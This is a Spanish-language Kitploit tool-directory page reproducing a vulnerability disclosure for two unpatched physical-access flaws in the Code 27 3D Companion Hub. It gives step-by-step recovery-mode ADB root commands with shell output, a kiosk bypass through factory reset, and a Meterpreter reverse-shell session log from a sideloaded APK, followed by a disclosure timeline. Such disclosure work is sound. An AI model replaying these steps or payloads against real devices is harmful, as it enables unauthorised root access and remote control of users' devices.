Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Code-27-Companion-Hub-Exploits — Prueba de concepto para CVE-2026-36027 y CVE-2026-36028 | Kitploit
Herramientas/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
Seguridad AndroidSeguridad de Sistemas EmbebidosEscalada de PrivilegiosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónSeguridad de Hardware

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

Prueba de concepto para CVE-2026-36027 y CVE-2026-36028

Ver Repositorio
1hace 1 mesAún no revisado

Vulnerabilidades del Code 27 3D Companion Hub (CVE-2026-36027, CVE-2026-36028)

El Code 27 3D Companion Hub es un dispositivo físico de escritorio que representa un personaje de IA personalizado (un "Codie") como un compañero 3D animado. Los usuarios pueden subir o crear cualquier modelo 3D, y la IA multimodal permite que el personaje vea su entorno, lea el tono y el lenguaje corporal, y mantenga conversaciones abiertas.

Este informe cubre dos vulnerabilidades que requieren acceso físico al dispositivo. Ambas fueron validadas contra la compilación que se indica a continuación y, al momento de la publicación, no tienen parche.

Code 27 3D Companion Hub

Dispositivo / Compilación Afectados

CampoValor
ProductoCode 27 3D Companion Hub
Versión de la interfaz del Companion Hub1.2.0
SoC / placaRockchip RK3588S (rk3588s_yt921)
SOAndroid 12
ID de compilaciónSQ3A.220705.003.A1
Fingerprint completork3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
Tipo de compilaciónuserdebug / release-keys

El firmware incluido es una compilación userdebug (visible en el banner de recovery y en ro.build.display.id). Las compilaciones userdebug permiten reiniciar adbd como root mediante adb root, lo cual es un facilitador clave para que exista CVE-2026-36027.

Pantalla de versión del Companion Hub mostrando la versión 1.2.0


CVE-2026-36027 - Ejecución Arbitraria de Código mediante Depuración USB (ADB) en Recovery

Resumen Ejecutivo

Un atacante físicamente cercano puede iniciar el Companion Hub en el recovery de Android y obtener un shell ADB con privilegios de root (uid=0, contexto SELinux u:r:su:s0). Debido a que el dispositivo incluye una compilación userdebug, adbd puede reiniciarse como root con adb root, lo que otorga al atacante interacción de lectura/escritura con el entorno de recovery, la capacidad de enumerar propiedades de compilación y hardware, y acceso a las funciones de recovery (sideload, fastboot, operaciones de particiones).

El acceso obtenido se encuentra dentro del ramdisk de recovery, no en el runtime de Android en ejecución. En las pruebas, la acción Mount /system del recovery falló (libfs_mgr no pudo abrir /dev/block/by-name/system), por lo que la partición del sistema no se montó directamente a través de esta vía, y el entorno de usuario iniciado, con el kiosco y cualquier dato de usuario descifrado, no se presenta en este modo.

Esto sigue siendo importante porque el acceso root al entorno de recovery es la base para modificar el estado persistente del dispositivo (por ejemplo, escribir en particiones o aplicar un paquete de actualización manipulado) de modo que el código controlado por el atacante pueda ejecutarse en un arranque normal posterior, estableciendo un punto de apoyo en el dispositivo en ejecución.

Prueba de Concepto

  1. Apague el dispositivo.
  2. Una vez que el dispositivo esté completamente apagado, mantenga presionados los botones de encendido y volumen al mismo tiempo hasta que el dispositivo arranque en el menú de recovery de Android.

Menú de recovery de Android con Mount /system resaltado

  1. Conecte un cable USB-C al Companion Hub y el extremo USB-A a una computadora.
  2. Use los botones para navegar hasta Mount /system, resáltelo y confirme. Parecerá que falla. Esto es lo esperado y el exploit sigue funcionando. (El registro de recovery muestra que libfs_mgr no puede abrir /dev/block/by-name/system).
  3. Con ADB instalado en su computadora, confirme que el dispositivo aparece en la lista:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. El dispositivo está en modo recovery. Reinicie adbd en un contexto root:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. Abra un shell - ahora es root en el dispositivo:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. Con el shell root puede enumerar e interactuar con el sistema de archivos de recovery:
root@kitploit:~
# ls -la
total 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 - Omisión de la Restricción del Kiosco mediante Restablecimiento de Fábrica

Resumen Ejecutivo

Un restablecimiento de fábrica realizado desde el menú de recovery borra la partición userdata, donde están instaladas las aplicaciones del kiosco. Debido a que el kiosco no forma parte de la partición del sistema, no se restaura al reiniciar, y el dispositivo arranca en un entorno Android estándar y sin restricciones (launcher, navegador web, administrador de archivos, configuración y otras aplicaciones del sistema).

Desde este entorno sin restricciones, un atacante puede volver a habilitar las opciones de desarrollador/la depuración USB, cargar lateralmente un APK arbitrario y ejecutarlo para obtener un shell en el sistema operativo en ejecución. En las pruebas, esto produjo una sesión de meterpreter ejecutándose como el usuario de aplicación sin privilegios u0_a79 - un contexto de privilegios y datos diferente al del shell root del modo recovery en CVE-2026-36027, porque se ejecuta contra el sistema operativo activo e iniciado en lugar del ramdisk de recovery. El código plantado y ejecutado en este estado se ejecuta como parte del funcionamiento normal del dispositivo, lo que otorga al atacante control interactivo del dispositivo y de su sistema de archivos accesible para el usuario.

Prueba de Concepto

  1. Apague el dispositivo.
  2. Una vez que el dispositivo esté completamente apagado, mantenga presionados los botones de encendido y volumen al mismo tiempo hasta que el dispositivo arranque en el menú de recovery de Android.
  3. Resalte Wipe data/factory reset y confirme el borrado.

Menú de recovery de Android con Wipe data/factory reset resaltado

  1. Una vez que el dispositivo se reinicia, las aplicaciones del kiosco faltan y el modo kiosco no se inicia. Esto se debe a que las aplicaciones del kiosco están instaladas en la partición userdata en lugar de la partición del sistema. Un restablecimiento de fábrica desde recovery borra userdata, eliminando permanentemente las aplicaciones del kiosco; como no están presentes en la partición del sistema, no se restauran al reiniciar y el kiosco no logra iniciarse.
  2. El atacante se encuentra con un entorno Android sin restricciones, que incluye un navegador web, administrador de archivos, Configuración y otras aplicaciones del sistema. Desde aquí, se puede habilitar la depuración USB y cargar lateralmente y ejecutar un APK arbitrario - en este caso, se obtuvo una sesión de Meterpreter en el sistema operativo en ejecución:
root@kitploit:~
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      dir   1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     dir   2008-12-31 19:00:00 -0500  bin
000000/---------  0        fif   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     dir   1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     dir   2026-02-03 01:27:34 -0500  data
040000/---------  120      dir   1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     dir   2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  fil   2008-12-31 19:00:00 -0500  init
100000/---------  463      fil   2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      dir   1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    dir   2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     dir   1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      dir   1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     dir   2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       dir   1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  vendor_dlkm

Cronología de Divulgación

Descargar herramienta
FechaEvento
2026-02-17Ambas vulnerabilidades fueron divulgadas al equipo de Code 27 y confirmadas.
2026-02-17Ambas vulnerabilidades de día cero fueron reportadas a MITRE.
2026-02-18El equipo de Code 27 discutió un plan de resolución, recopiló información adicional y declaró que se corregiría.
2026-06-15MITRE asigna CVE-2026-36027 y CVE-2026-36028.
2026-06-15Code 27 notificado de la asignación; el contacto inicial reenvía la información al equipo de seguridad para la revisión de la compilación.
2026-06-16El equipo de seguridad de Code 27 solicita los detalles técnicos completos, nuevamente.
2026-06-17Se proporcionan los detalles técnicos completos al equipo de seguridad, nuevamente.
2026-06-18Sin respuesta del equipo de seguridad.
2026-06-19Un representante de Code 27 afirma que las empresas normalmente reciben 90 días para resolver problemas de seguridad y que el equipo de seguridad ya está al tanto. Se informa al representante que los problemas se reportaron hace más de 120 días. Se establece una fecha límite de divulgación para el 1 de julio.
2026-06-25Se contacta a seguridad de Code 27 para confirmar la advertencia final sobre la fecha límite y la publicación.
2026-06-28Code 27 se disculpa, confirma los identificadores CVE y la fecha límite de divulgación, y afirma que se enviará un aviso público y un enlace antes del 1 de julio.
2026-07-01Se contacta a Code 27 respecto al estado del aviso; sin respuesta.
2026-07-02Se publican los detalles de las vulnerabilidades sin parche.